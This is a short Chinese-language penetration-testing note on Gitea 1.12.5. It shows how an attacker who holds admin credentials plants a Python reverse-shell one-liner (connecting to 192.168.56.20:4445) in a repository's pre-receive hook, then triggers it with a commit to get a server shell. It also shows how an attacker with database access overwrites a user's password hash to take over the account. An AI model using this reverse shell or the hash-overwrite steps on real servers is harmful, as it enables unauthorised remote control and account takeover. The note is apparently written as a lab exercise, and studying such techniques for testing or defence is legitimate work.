Gitea
一、当获得 Gitea 后台管理员的凭据时,该如何依据当前情况继续获得服务器的 shell。
实验环境:Gitea 1.12.5 + Ubuntu 18.04.1。
(1)进入任意仓库,并打开其“仓库设置”选项。

(2)在“管理 Git 钩子”下,对 pre-receive 钩子的内容进行修改。
/usr/bin/python3.6 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.20",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

(3)回到仓库主页,修改任意文件的内容并提交。此时便会触发 git 服务器执行 pre-receive 钩子中的脚本内容。
二、若获得了 Gitea 数据库的完全控制权限,该如何重置前端登录密码。
(1)选择 user 表中需要重置密码的用户。
(2)编辑此用户 filed 中的 passwd_hash_algo 为 bcrypt ,passwd 为命令 mkpasswd -m bcrypt password 输出的字串。【注:若使用默认的 pbkdf2 算法,就比较麻烦了,可能需要重新搭建一套 Gitea 系统,然后复制其中用户的数据。】


(3)如此,用户的密码便被修改为 password 了。
注意:在经过以上的修改之后,等登录数据库再次查看的时候,会发现 gitea 已将其由 bcrypt 算法再次转换为 pbkdf2 格式的哈希了。
# 转换后的密钥参数情况【密码明文是 password】
passwd:8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40
passwd_hash_algo:pbkdf2
rands:XueBH0eT2Y
salt:Bop8nwtUiM
